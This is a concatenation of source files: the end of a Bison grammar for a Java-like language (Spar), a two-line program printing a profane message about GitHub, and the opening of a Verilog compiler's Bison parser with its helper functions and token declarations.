{ $$ = new_WaitStatement( $2, Pragma_listNIL, NULL, $4 ); }
;
WaitCaseList:
/* empty */
{ $$ = new_WaitCase_list(); }
|
WaitCaseList WaitCase
{ $$ = append_WaitCase_list( $1, $2 ); }
;
WaitCase:
KEY_CASE Expression Origin ':' BlockStatementsOpt
{ $$ = new_WaitCaseValue( $5, $3, $2 ); }
|
KEY_TIMEOUT Expression Origin ':' BlockStatementsOpt
{ $$ = new_WaitCaseTimeout( $5, $3, $2 ); }
;
WhileStatement:
KEY_WHILE Origin '(' Expression ')' Statement
{
$$ = new_WhileStatement(
$2,
Pragma_listNIL,
NULL,
$4,
make_statement_Block( $6 ),
new_statement_list() // update statements
);
}
;
DoStatement:
KEY_DO Origin Statement KEY_WHILE '(' Expression ')' ';'
{
$$ = new_DoWhileStatement(
$2,
Pragma_listNIL,
NULL,
$6,
make_statement_Block( $3 ),
new_statement_list() // update statements
);
}
;
ForStatement:
KEY_FOR Origin '(' ForInitOpt ';' ExpressionOpt ';' ForUpdateOpt ')' Statement
{ $$ = new_ClassicForStatement( $2, Pragma_listNIL, NULL, $4, $6, $8, make_statement_Block( $10 ) ); }
;
ForInitOpt:
/* empty */
{ $$ = new_statement_list(); }
|
ForInit
{ $$ = $1; }
;
ForInit:
StatementExpressionList
{ $$ = $1; }
|
LocalVariableDeclaration
{ $$ = $1; }
;
ForUpdateOpt:
/* empty */
{ $$ = new_statement_list(); }
|
ForUpdate
{ $$ = $1; }
;
ForUpdate:
StatementExpressionList
{ $$ = $1; }
;
StatementExpressionList:
StatementExpression
{ $$ = append_statement_list( new_statement_list(), $1 ); }
|
StatementExpressionList ',' StatementExpression
{ $$ = append_statement_list( $1, $3 ); }
;
ReturnStatement:
KEY_RETURN Origin ';'
{ $$ = new_ReturnStatement( $2, Pragma_listNIL, NULL ); }
;
ValueReturnStatement:
KEY_RETURN Origin Expression ';'
{ $$ = new_ValueReturnStatement( $2, Pragma_listNIL, NULL, $3 ); }
;
/* Expressions */
Primary:
PrimaryNoNewArray
{ $$ = $1; }
|
ArrayCreationExpression
{ $$ = $1; }
;
/* Expressions that may also occur in macros. */
MacroExpression:
Literal
{ $$ = $1; }
|
'(' Expression ')'
{ $$ = new_BracketExpression( $2 ); }
|
KEY_GETBUF '(' Expression ')'
{ $$ = new_GetBufExpression( $3 ); }
|
KEY_COMPLEX '(' Expression ',' Expression ')'
{ $$ = new_ComplexExpression( $3, $5 ); }
|
KEY_COMPLEX '(' error ',' Expression ')'
{ $$ = new_ComplexExpression( expressionNIL, $5 ); }
|
KEY_COMPLEX '(' Expression ',' error ')'
{ $$ = new_ComplexExpression( $3, expressionNIL ); }
|
KEY_THIS Origin
{
$$ = new_VariableNameExpression(
new_origsymbol( add_tmsymbol( "this" ), $2 ),
VAR_THIS
);
}
|
Name '.' KEY_THIS
{ $$ = new_OuterThisExpression( new_ObjectType( $1 ) ); }
|
ClassExpression
{ $$ = $1; }
;
PrimaryNoNewArray:
MacroExpression
{ $$ = $1; }
|
Vector
{ $$ = new_VectorExpression( $1 ); }
|
ClassInstanceCreationExpression
{ $$ = $1; }
|
ArrayAccess
{ $$ = $1; }
|
MethodInvocation
{ $$ = $1; }
|
FieldAccess
{ $$ = $1; }
;
/* See
* java.sun.com/products/jdk/1.1/docs/guide/innerclasses/spec/innerclasses.doc9.html
*/
ClassExpression:
PrimitiveType '.' KEY_CLASS
{ $$ = generate_basetype_ClassIdConstructorCall( $1 ); }
|
KEY_VOID Origin '.' KEY_CLASS
{ $$ = generate_ClassIdConstructorCall( add_origsymbol( "java.lang.Void" ) ); }
/*|
TupleType '.' KEY_CLASS
{ $$ = generate_ClassIdConstructorCall( $1 ); }
*/
;
ClassInstanceCreationExpression:
KEY_NEW ClassType '(' ArgumentListOpt ')' ClassBodyOpt
{ $$ = new_NewClassExpression( expressionNIL, $2, $4, $6 ); }
|
/* TODO: allow parameterized types here. */
Primary '.' KEY_NEW Identifier '(' ArgumentListOpt ')' ClassBodyOpt
{ $$ = new_NewClassExpression( $1, new_ObjectType( $4 ), $6, $8 ); }
|
/* TODO: allow parameterized types here. */
Name '.' KEY_NEW Identifier '(' ArgumentListOpt ')' ClassBodyOpt
{ $$ = new_NewClassExpression( new_VariableNameExpression( $1, 0 ), new_ObjectType( $4 ), $6, $8 ); }
;
ExpressionList:
Expression
{ $$ = append_expression_list( new_expression_list(), $1 ); }
|
ExpressionList ',' Expression
{ $$ = append_expression_list( $1, $3 ); }
|
error ',' Expression
{ $$ = append_expression_list( new_expression_list(), $3 ); }
;
ArgumentListOpt:
/* empty */
{ $$ = new_expression_list(); }
|
ArgumentList
{ $$ = $1; }
;
ArgumentList:
Argument
{ $$ = append_expression_list( new_expression_list(), $1 ); }
|
ArgumentList ',' Argument
{ $$ = append_expression_list( $1, $3 ); }
|
error ',' Argument
{ $$ = append_expression_list( new_expression_list(), $3 ); }
;
Argument:
Expression
{ $$ = $1; }
;
TemplateArgumentListOpt:
/* empty */
{ $$ = new_expression_list(); }
|
TemplateArgumentList
{ $$ = $1; }
;
TemplateArgumentList:
TemplateArgument
{ $$ = append_expression_list( new_expression_list(), $1 ); }
|
TemplateArgumentList ',' TemplateArgument
{ $$ = append_expression_list( $1, $3 ); }
|
error ',' TemplateArgument
{ $$ = append_expression_list( new_expression_list(), $3 ); }
;
TemplateArgument:
Expression
{ $$ = $1; }
|
VerboseType
{ $$ = new_TypeExpression( $1 ); }
;
ArrayCreationExpression:
KEY_NEW PrimitiveType Vectors DimsOpt
{
type t = wrap_ranked_type( new_PrimitiveType( $2 ), $4 );
$$ = new_NewArrayExpression(
t,
$3,
build_DefaultInit( t )
);
}
|
KEY_NEW PrimitiveType Dims ArrayInitializer
{
$$ = new_NewInitArrayExpression(
wrap_ranked_type( new_PrimitiveType( $2 ), $3 ),
$4
);
}
|
KEY_NEW ClassOrInterfaceType Vectors DimsOpt
{
type t = wrap_ranked_type( $2, $4 );
$$ = new_NewArrayExpression(
t,
$3,
build_DefaultInit( t )
);
}
|
KEY_NEW ClassOrInterfaceType Dims ArrayInitializer
{
$$ = new_NewInitArrayExpression(
wrap_ranked_type( $2, $3 ),
$4
);
}
|
KEY_NEW TupleType Vectors DimsOpt
{
type t = wrap_ranked_type( $2, $4 );
$$ = new_NewArrayExpression(
t,
$3,
build_DefaultInit( t )
);
}
|
KEY_NEW TupleType Dims ArrayInitializer
{
$$ = new_NewInitArrayExpression(
wrap_ranked_type( $2, $3 ),
$4
);
}
;
DimsOpt:
/* empty */
{ $$ = new_FormalDim_list(); }
|
Dims
{ $$ = $1; }
;
Dims:
Dim
{ $$ = append_FormalDim_list( new_FormalDim_list(), $1 ); }
|
Dims Dim
{ $$ = append_FormalDim_list( $1, $2 ); }
;
Dim:
'[' ']' PragmasOpt
{ $$ = new_FormalDim( new_IntExpression( 1 ), $3 ); }
|
'[' Size OP_XOR Expression ']' PragmasOpt
{
if( (features & FEAT_ARRAY) == 0 ){
parserror( "In Java, multidimensional arrays are not allowed" );
}
$$ = new_FormalDim( $4, $6 );
}
|
'[' SizeList CommaOpt ']' PragmasOpt
{
if( (features & FEAT_ARRAY) == 0 ){
if( $2 == 1 ){
parserror( "In Java array types, '*' is not allowed" );
}
else {
parserror( "In Java, multidimensional arrays are not allowed" );
}
}
$$ = new_FormalDim( new_IntExpression( (int) $2 ), $5 );
}
|
'[' error ']'
{ $$ = new_FormalDim( 0, new_Pragma_list() ); }
;
SizeList:
Size
{ $$ = 1u; }
|
SizeList ',' Size
{ $$ = $1+$3; }
|
error ',' Size
{ $$ = 1u; }
;
Size:
OP_TIMES
{ $$ = 1u; }
;
FieldAccess:
Primary '.' Identifier
{ $$ = new_FieldExpression( $1, $3 ); }
|
KEY_SUPER Origin '.' Identifier
{ $$ = new_SuperFieldExpression( $2, $4 ); }
|
GenericClassOrInterfaceType '.' Identifier
{ $$ = new_TypeFieldExpression( $1, $3 ); }
|
Name '.' KEY_SUPER Origin '.' Identifier
{ $$ = new_OuterSuperFieldExpression( new_ObjectType( $1 ), $4, $6 ); }
;
MethodInvocation:
Name '(' ArgumentListOpt ')'
{
$$ = new_MethodInvocationExpression(
new_MethodInvocation( NULL, $1, new_expression_list(), $3, 0 )
);
}
|
Primary '.' Identifier '(' ArgumentListOpt ')'
{ $$ = new_FieldInvocationExpression( $1, $3, $5 ); }
|
GenericClassOrInterfaceType '.' Identifier Origin '(' ArgumentListOpt ')'
{ $$ = new_TypeInvocationExpression( $4, $1, $3, $6 ); }
|
KEY_SUPER Origin '.' Identifier '(' ArgumentListOpt ')'
{ $$ = new_SuperInvocationExpression( $2, $4, $6 ); }
|
Name '.' KEY_SUPER Origin '.' Identifier '(' ArgumentListOpt ')'
{ $$ = new_OuterSuperInvocationExpression( new_ObjectType( $1 ), $4, $6, $8 ); }
;
ArrayAccess:
Name VectorExpr
{ $$ = new_SubscriptExpression( new_VariableNameExpression( $1, 0 ), $2 ); }
|
PrimaryNoNewArray VectorExpr
{ $$ = new_SubscriptExpression( $1, $2 ); }
;
PostfixExpression:
Primary
{ $$ = $1; }
|
Name
{
if( is_qualified_origsymbol( $1 ) ){
origsymbol first;
origsymbol last;
break_qualified_name( $1, &first, &last );
if( last->sym == add_tmsymbol( "class" ) ){
$$ = generate_ClassIdConstructorCall( first );
rfre_origsymbol( $1 );
}
else {
varflags flags = 0;
rfre_origsymbol( first );
if( last->sym == add_tmsymbol( "this" ) ){
flags |= VAR_THIS;
}
$$ = new_VariableNameExpression( $1, flags );
}
rfre_origsymbol( last );
}
else {
varflags flags = 0;
if( $1->sym == add_tmsymbol( "this" ) ){
flags |= VAR_THIS;
}
$$ = new_VariableNameExpression( $1, flags );
}
}
|
PostIncrementExpression
{ $$ = $1; }
|
PostDecrementExpression
{ $$ = $1; }
;
PostIncrementExpression:
PostfixExpression OP_INCREMENT
{ $$ = new_PostIncrementExpression( $1 ); }
;
PostDecrementExpression:
PostfixExpression OP_DECREMENT
{ $$ = new_PostDecrementExpression( $1 ); }
;
PreIncrementExpression:
OP_INCREMENT OperatorExpression %prec OP_UNOP
{ $$ = new_PreIncrementExpression( $2 ); }
;
PreDecrementExpression:
OP_DECREMENT OperatorExpression %prec OP_UNOP
{ $$ = new_PreDecrementExpression( $2 ); }
;
CastExpression:
'(' PrimitiveType DimsOpt ')' OperatorExpression %prec OP_CAST
{ $$ = new_CastExpression( wrap_ranked_type( new_PrimitiveType( $2 ), $3 ), $5 ); }
|
'(' PrimArrayType DimsOpt ')' OperatorExpression %prec OP_CAST
{ $$ = new_CastExpression( wrap_ranked_type( $2, $3 ), $5 ); }
|
'(' TupleType DimsOpt ')' OperatorExpression %prec OP_CAST
{ $$ = new_CastExpression( wrap_ranked_type( $2, $3 ), $5 ); }
|
'(' Expression ')' UnaryExpression
{
if( $2->tag == TAGVariableNameExpression ){
$$ = new_CastExpression(
new_ObjectType(
rdup_origsymbol( to_VariableNameExpression( $2 )->name )
),
$4
);
rfre_expression( $2 );
}
else {
$$ = new_SubscriptExpression( $2, $4 );
}
}
|
'(' Name Dims ')' OperatorExpression %prec OP_CAST
{ $$ = new_CastExpression( wrap_ranked_type( new_ObjectType( $2 ), $3 ), $5 ); }
|
'(' GenericClassOrInterfaceType DimsOpt ')' OperatorExpression %prec OP_CAST
{ $$ = new_CastExpression( wrap_ranked_type( $2, $3 ), $5 ); }
;
UnaryExpression:
PostfixExpression
{ $$ = $1; }
|
CastExpression
{ $$ = $1; }
;
OperatorExpression:
UnaryExpression
{ $$ = $1; }
|
PreIncrementExpression
{ $$ = $1; }
|
PreDecrementExpression
{ $$ = $1; }
|
OP_PLUS OperatorExpression %prec OP_UNOP
{ $$ = new_UnopExpression( UNOP_PLUS, $2 ); }
|
OP_MINUS OperatorExpression %prec OP_UNOP
{ $$ = new_UnopExpression( UNOP_NEGATE, $2 ); }
|
OP_INVERT OperatorExpression %prec OP_UNOP
{ $$ = new_UnopExpression( UNOP_INVERT, $2 ); }
|
OP_NOT OperatorExpression %prec OP_UNOP
{ $$ = new_UnopExpression( UNOP_NOT, $2 ); }
|
OperatorExpression OP_TIMES OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_TIMES, $3 ); }
|
OperatorExpression OP_DIVIDE OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_DIVIDE, $3 ); }
|
OperatorExpression OP_MOD OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_MOD, $3 ); }
|
OperatorExpression OP_PLUS OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_PLUS, $3 ); }
|
OperatorExpression OP_MINUS OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_MINUS, $3 ); }
|
OperatorExpression OP_SHIFTLEFT OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_SHIFTLEFT, $3 ); }
|
OperatorExpression OP_SHIFTRIGHT OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_SHIFTRIGHT, $3 ); }
|
OperatorExpression OP_USHIFTRIGHT OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_USHIFTRIGHT, $3 ); }
|
OperatorExpression OP_LESS OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_LESS, $3 ); }
|
OperatorExpression OP_LESSEQUAL OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_LESSEQUAL, $3 ); }
|
OperatorExpression OP_GREATER OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_GREATER, $3 ); }
|
OperatorExpression OP_GREATEREQUAL OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_GREATEREQUAL, $3 ); }
|
VerboseType KEY_INSTANCEOF Type
{ $$ = new_TypeInstanceOfExpression( $1, $3 ); }
|
OperatorExpression KEY_INSTANCEOF Type
{ $$ = new_InstanceOfExpression( $1, $3 ); }
|
OperatorExpression OP_EQUAL OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_EQUAL, $3 ); }
|
OperatorExpression OP_NOTEQUAL OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_NOTEQUAL, $3 ); }
|
OperatorExpression OP_AND OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_AND, $3 ); }
|
OperatorExpression OP_XOR OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_XOR, $3 ); }
|
OperatorExpression OP_OR OperatorExpression
{ $$ = new_BinopExpression( $1, BINOP_OR, $3 ); }
|
OperatorExpression OP_SHORTAND OperatorExpression
{ $$ = new_ShortopExpression( $1, SHORTOP_AND, $3 ); }
|
OperatorExpression OP_SHORTOR OperatorExpression
{ $$ = new_ShortopExpression( $1, SHORTOP_OR, $3 ); }
|
OperatorExpression OP_DIY_INFIX Name OperatorExpression
{
expression_list parms = new_expression_list();
parms = append_expression_list( parms, $1 );
parms = append_expression_list( parms, $4 );
$$ = new_MethodInvocationExpression(
new_MethodInvocation( NULL, $3, new_expression_list(), parms, 0 )
);
}
|
OperatorExpression '?' Origin Expression ':' OperatorExpression
{ $$ = new_IfExpression( $1, $4, $6, $3 ); }
;
AssignmentExpression:
OperatorExpression
{ $$ = $1; }
|
Assignment
{ $$ = $1; }
;
AssignableExpression:
OperatorExpression
{
verify_assignable_expression( $1 );
$$ = $1;
}
;
Assignment:
AssignableExpression OP_ASSIGNMENT Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN, $3 ); }
|
AssignableExpression OP_ASSIGNAND Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_AND, $3 ); }
|
AssignableExpression OP_ASSIGNDIVIDE Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_DIVIDE, $3 ); }
|
AssignableExpression OP_ASSIGNMINUS Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_MINUS, $3 ); }
|
AssignableExpression OP_ASSIGNMOD Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_MOD, $3 ); }
|
AssignableExpression OP_ASSIGNOR Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_OR, $3 ); }
|
AssignableExpression OP_ASSIGNPLUS Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_PLUS, $3 ); }
|
AssignableExpression OP_ASSIGNSHIFTLEFT Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_SHIFTLEFT, $3 ); }
|
AssignableExpression OP_ASSIGNSHIFTRIGHT Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_SHIFTRIGHT, $3 ); }
|
AssignableExpression OP_ASSIGNTIMES Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_TIMES, $3 ); }
|
AssignableExpression OP_ASSIGNUSHIFTRIGHT Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_USHIFTRIGHT, $3 ); }
|
AssignableExpression OP_ASSIGNXOR Expression
{ $$ = new_AssignOpExpression( $1, ASSIGN_XOR, $3 ); }
;
ExpressionOpt:
/* empty */
{ $$ = new_OptExprNone(); }
|
Expression
{ $$ = new_OptExpr( $1 ); }
;
Expression:
AssignmentExpression
{ $$ = $1; }
|
Pragmas Expression
{ $$ = new_AnnotationExpression( $1, $2 ); }
;
ConstantExpression:
Expression
{ $$ = $1; }
;
%%
/* A simple wrapper function to give a nicer interface to the parser.
* Given the file handle of the input file 'infile', the name of the
* input file 'infilename', and the file handle of the output file
* 'outfile', parse that input file, and write the generated code
* to the output.
*/
SparProgramUnit parse( FILE *infile, const_tmstring infilename, bool strict_java )
{
unsigned int old_features = features;
if( strict_java ){
features = java_features;
}
else {
features = spar_features;
}
setlexfile( infile, infilename );
class_modifiers_stack = new_modflags_list();
if( yyparse() != 0 ){
error( "cannot recover from earlier parse errors, goodbye" );
return 0;
}
else {
result->path = new_tmstring( infilename );
}
rfre_modflags_list( class_modifiers_stack );
features = old_features;
return result;
}
|
<reponame>ozcanyarimdunya/FuckYouGithub
module FuckYouGithub
define(EOF,(-1))
import printf from "ylib.d"
main()
printf("Fuck You Github\n")
end
end
|
<reponame>gokhankici/iodine<gh_stars>1-10
%{
/*
* Copyright (c) 1998-2016 <NAME> (<EMAIL>)
* Copyright CERN 2012-2013 / <NAME> (<EMAIL>)
*
* This source code is free software; you can redistribute it
* and/or modify it in source code form under the terms of the GNU
* General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
# include "config.h"
# include "parse_misc.h"
# include "compiler.h"
# include "pform.h"
# include "Statement.h"
# include "PSpec.h"
# include <stack>
# include <cstring>
# include <sstream>
class PSpecPath;
extern void lex_end_table();
bool have_timeunit_decl = false;
bool have_timeprec_decl = false;
static list<pform_range_t>* param_active_range = 0;
static bool param_active_signed = false;
static ivl_variable_type_t param_active_type = IVL_VT_LOGIC;
/* Port declaration lists use this structure for context. */
static struct {
NetNet::Type port_net_type;
NetNet::PortType port_type;
data_type_t* data_type;
} port_declaration_context = {NetNet::NONE, NetNet::NOT_A_PORT, 0};
/* Modport port declaration lists use this structure for context. */
enum modport_port_type_t { MP_NONE, MP_SIMPLE, MP_TF, MP_CLOCKING };
static struct {
modport_port_type_t type;
union {
NetNet::PortType direction;
bool is_import;
};
} last_modport_port = { MP_NONE, {NetNet::NOT_A_PORT}};
/* The task and function rules need to briefly hold the pointer to the
task/function that is currently in progress. */
static PTask* current_task = 0;
static PFunction* current_function = 0;
static stack<PBlock*> current_block_stack;
/* The variable declaration rules need to know if a lifetime has been
specified. */
static LexicalScope::lifetime_t var_lifetime;
static pform_name_t* pform_create_this(void)
{
name_component_t name (perm_string::literal("@"));
pform_name_t*res = new pform_name_t;
res->push_back(name);
return res;
}
static pform_name_t* pform_create_super(void)
{
name_component_t name (perm_string::literal("#"));
pform_name_t*res = new pform_name_t;
res->push_back(name);
return res;
}
/* This is used to keep track of the extra arguments after the notifier
* in the $setuphold and $recrem timing checks. This allows us to print
* a warning message that the delayed signals will not be created. We
* need to do this since not driving these signals creates real
* simulation issues. */
static unsigned args_after_notifier;
/* The rules sometimes push attributes into a global context where
sub-rules may grab them. This makes parser rules a little easier to
write in some cases. */
static list<named_pexpr_t>*attributes_in_context = 0;
/* Later version of bison (including 1.35) will not compile in stack
extension if the output is compiled with C++ and either the YYSTYPE
or YYLTYPE are provided by the source code. However, I can get the
old behavior back by defining these symbols. */
# define YYSTYPE_IS_TRIVIAL 1
# define YYLTYPE_IS_TRIVIAL 1
/* Recent version of bison expect that the user supply a
YYLLOC_DEFAULT macro that makes up a yylloc value from existing
values. I need to supply an explicit version to account for the
text field, that otherwise won't be copied.
The YYLLOC_DEFAULT blends the file range for the tokens of Rhs
rule, which has N tokens.
*/
# define YYLLOC_DEFAULT(Current, Rhs, N) do { \
if (N) { \
(Current).first_line = YYRHSLOC (Rhs, 1).first_line; \
(Current).first_column = YYRHSLOC (Rhs, 1).first_column; \
(Current).last_line = YYRHSLOC (Rhs, N).last_line; \
(Current).last_column = YYRHSLOC (Rhs, N).last_column; \
(Current).text = YYRHSLOC (Rhs, 1).text; \
} else { \
(Current).first_line = YYRHSLOC (Rhs, 0).last_line; \
(Current).first_column = YYRHSLOC (Rhs, 0).last_column; \
(Current).last_line = YYRHSLOC (Rhs, 0).last_line; \
(Current).last_column = YYRHSLOC (Rhs, 0).last_column; \
(Current).text = YYRHSLOC (Rhs, 0).text; \
} \
} while (0)
/*
* These are some common strength pairs that are used as defaults when
* the user is not otherwise specific.
*/
static const struct str_pair_t pull_strength = { IVL_DR_PULL, IVL_DR_PULL };
static const struct str_pair_t str_strength = { IVL_DR_STRONG, IVL_DR_STRONG };
static list<pform_port_t>* make_port_list(char*id, list<pform_range_t>*udims, PExpr*expr)
{
list<pform_port_t>*tmp = new list<pform_port_t>;
tmp->push_back(pform_port_t(lex_strings.make(id), udims, expr));
delete[]id;
return tmp;
}
static list<pform_port_t>* make_port_list(list<pform_port_t>*tmp,
char*id, list<pform_range_t>*udims, PExpr*expr)
{
tmp->push_back(pform_port_t(lex_strings.make(id), udims, expr));
delete[]id;
return tmp;
}
list<pform_range_t>* make_range_from_width(uint64_t wid)
{
pform_range_t range;
range.first = new PENumber(new verinum(wid-1, integer_width));
range.second = new PENumber(new verinum((uint64_t)0, integer_width));
list<pform_range_t>*rlist = new list<pform_range_t>;
rlist->push_back(range);
return rlist;
}
static list<perm_string>* list_from_identifier(char*id)
{
list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make(id));
delete[]id;
return tmp;
}
static list<perm_string>* list_from_identifier(list<perm_string>*tmp, char*id)
{
tmp->push_back(lex_strings.make(id));
delete[]id;
return tmp;
}
list<pform_range_t>* copy_range(list<pform_range_t>* orig)
{
list<pform_range_t>*copy = 0;
if (orig)
copy = new list<pform_range_t> (*orig);
return copy;
}
template <class T> void append(vector<T>&out, const vector<T>&in)
{
for (size_t idx = 0 ; idx < in.size() ; idx += 1)
out.push_back(in[idx]);
}
/*
* Look at the list and pull null pointers off the end.
*/
static void strip_tail_items(list<PExpr*>*lst)
{
while (! lst->empty()) {
if (lst->back() != 0)
return;
lst->pop_back();
}
}
/*
* This is a shorthand for making a PECallFunction that takes a single
* arg. This is used by some of the code that detects built-ins.
*/
static PECallFunction*make_call_function(perm_string tn, PExpr*arg)
{
vector<PExpr*> parms(1);
parms[0] = arg;
PECallFunction*tmp = new PECallFunction(tn, parms);
return tmp;
}
static PECallFunction*make_call_function(perm_string tn, PExpr*arg1, PExpr*arg2)
{
vector<PExpr*> parms(2);
parms[0] = arg1;
parms[1] = arg2;
PECallFunction*tmp = new PECallFunction(tn, parms);
return tmp;
}
static list<named_pexpr_t>* make_named_numbers(perm_string name, long first, long last, PExpr*val =0)
{
list<named_pexpr_t>*lst = new list<named_pexpr_t>;
named_pexpr_t tmp;
// We are counting up.
if (first <= last) {
for (long idx = first ; idx <= last ; idx += 1) {
ostringstream buf;
buf << name.str() << idx << ends;
tmp.name = lex_strings.make(buf.str());
tmp.parm = val;
val = 0;
lst->push_back(tmp);
}
// We are counting down.
} else {
for (long idx = first ; idx >= last ; idx -= 1) {
ostringstream buf;
buf << name.str() << idx << ends;
tmp.name = lex_strings.make(buf.str());
tmp.parm = val;
val = 0;
lst->push_back(tmp);
}
}
return lst;
}
static list<named_pexpr_t>* make_named_number(perm_string name, PExpr*val =0)
{
list<named_pexpr_t>*lst = new list<named_pexpr_t>;
named_pexpr_t tmp;
tmp.name = name;
tmp.parm = val;
lst->push_back(tmp);
return lst;
}
static long check_enum_seq_value(const YYLTYPE&loc, verinum *arg, bool zero_ok)
{
long value = 1;
// We can never have an undefined value in an enumeration name
// declaration sequence.
if (! arg->is_defined()) {
yyerror(loc, "error: undefined value used in enum name sequence.");
// We can never have a negative value in an enumeration name
// declaration sequence.
} else if (arg->is_negative()) {
yyerror(loc, "error: negative value used in enum name sequence.");
} else {
value = arg->as_ulong();
// We cannot have a zero enumeration name declaration count.
if (! zero_ok && (value == 0)) {
yyerror(loc, "error: zero count used in enum name sequence.");
value = 1;
}
}
return value;
}
static void current_task_set_statement(const YYLTYPE&loc, vector<Statement*>*s)
{
if (s == 0) {
/* if the statement list is null, then the parser
detected the case that there are no statements in the
task. If this is SystemVerilog, handle it as an
an empty block. */
if (!gn_system_verilog()) {
yyerror(loc, "error: Support for empty tasks requires SystemVerilog.");
}
PBlock*tmp = new PBlock(PBlock::BL_SEQ);
FILE_NAME(tmp, loc);
current_task->set_statement(tmp);
return;
}
assert(s);
/* An empty vector represents one or more null statements. Handle
this as a simple null statement. */
if (s->empty())
return;
/* A vector of 1 is handled as a simple statement. */
if (s->size() == 1) {
current_task->set_statement((*s)[0]);
return;
}
if (!gn_system_verilog()) {
yyerror(loc, "error: Task body with multiple statements requires SystemVerilog.");
}
PBlock*tmp = new PBlock(PBlock::BL_SEQ);
FILE_NAME(tmp, loc);
tmp->set_statement(*s);
current_task->set_statement(tmp);
}
static void current_function_set_statement(const YYLTYPE&loc, vector<Statement*>*s)
{
if (s == 0) {
/* if the statement list is null, then the parser
detected the case that there are no statements in the
task. If this is SystemVerilog, handle it as an
an empty block. */
if (!gn_system_verilog()) {
yyerror(loc, "error: Support for empty functions requires SystemVerilog.");
}
PBlock*tmp = new PBlock(PBlock::BL_SEQ);
FILE_NAME(tmp, loc);
current_function->set_statement(tmp);
return;
}
assert(s);
/* An empty vector represents one or more null statements. Handle
this as a simple null statement. */
if (s->empty())
return;
/* A vector of 1 is handled as a simple statement. */
if (s->size() == 1) {
current_function->set_statement((*s)[0]);
return;
}
if (!gn_system_verilog()) {
yyerror(loc, "error: Function body with multiple statements requires SystemVerilog.");
}
PBlock*tmp = new PBlock(PBlock::BL_SEQ);
FILE_NAME(tmp, loc);
tmp->set_statement(*s);
current_function->set_statement(tmp);
}
%}
%union {
bool flag;
char letter;
int int_val;
/* text items are C strings allocated by the lexor using
strdup. They can be put into lists with the texts type. */
char*text;
list<perm_string>*perm_strings;
list<pform_port_t>*port_list;
vector<pform_tf_port_t>* tf_ports;
pform_name_t*pform_name;
ivl_discipline_t discipline;
hname_t*hier;
list<string>*strings;
struct str_pair_t drive;
PCase::Item*citem;
svector<PCase::Item*>*citems;
lgate*gate;
svector<lgate>*gates;
Module::port_t *mport;
LexicalScope::range_t* value_range;
vector<Module::port_t*>*mports;
named_number_t* named_number;
list<named_number_t>* named_numbers;
named_pexpr_t*named_pexpr;
list<named_pexpr_t>*named_pexprs;
struct parmvalue_t*parmvalue;
list<pform_range_t>*ranges;
PExpr*expr;
list<PExpr*>*exprs;
svector<PEEvent*>*event_expr;
NetNet::Type nettype;
PGBuiltin::Type gatetype;
NetNet::PortType porttype;
ivl_variable_type_t vartype;
PBlock::BL_TYPE join_keyword;
PWire*wire;
vector<PWire*>*wires;
PEventStatement*event_statement;
Statement*statement;
vector<Statement*>*statement_list;
net_decl_assign_t*net_decl_assign;
enum_type_t*enum_type;
decl_assignment_t*decl_assignment;
list<decl_assignment_t*>*decl_assignments;
struct_member_t*struct_member;
list<struct_member_t*>*struct_members;
struct_type_t*struct_type;
data_type_t*data_type;
class_type_t*class_type;
real_type_t::type_t real_type;
property_qualifier_t property_qualifier;
PPackage*package;
struct {
char*text;
data_type_t*type;
} type_identifier;
struct {
data_type_t*type;
list<PExpr*>*exprs;
} class_declaration_extends;
verinum* number;
verireal* realtime;
PSpecPath* specpath;
list<index_component_t> *dimensions;
LexicalScope::lifetime_t lifetime;
};
%token <text> IDENTIFIER SYSTEM_IDENTIFIER STRING TIME_LITERAL
%token <type_identifier> TYPE_IDENTIFIER
%token <package> PACKAGE_IDENTIFIER
%token <discipline> DISCIPLINE_IDENTIFIER
%token <text> PATHPULSE_IDENTIFIER
%token <number> BASED_NUMBER DEC_NUMBER UNBASED_NUMBER
%token <realtime> REALTIME
%token K_PLUS_EQ K_MINUS_EQ K_INCR K_DECR
%token K_LE K_GE K_EG K_EQ K_NE K_CEQ K_CNE K_LP K_LS K_RS K_RSS K_SG
/* K_CONTRIBUTE is <+, the contribution assign. */
%token K_CONTRIBUTE
%token K_PO_POS K_PO_NEG K_POW
%token K_PSTAR K_STARP K_DOTSTAR
%token K_LOR K_LAND K_NAND K_NOR K_NXOR K_TRIGGER
%token K_SCOPE_RES
%token K_edge_descriptor
/* The base tokens from 1364-1995. */
%token K_always K_and K_assign K_begin K_buf K_bufif0 K_bufif1 K_case
%token K_casex K_casez K_cmos K_deassign K_default K_defparam K_disable
%token K_edge K_else K_end K_endcase K_endfunction K_endmodule
%token K_endprimitive K_endspecify K_endtable K_endtask K_event K_for
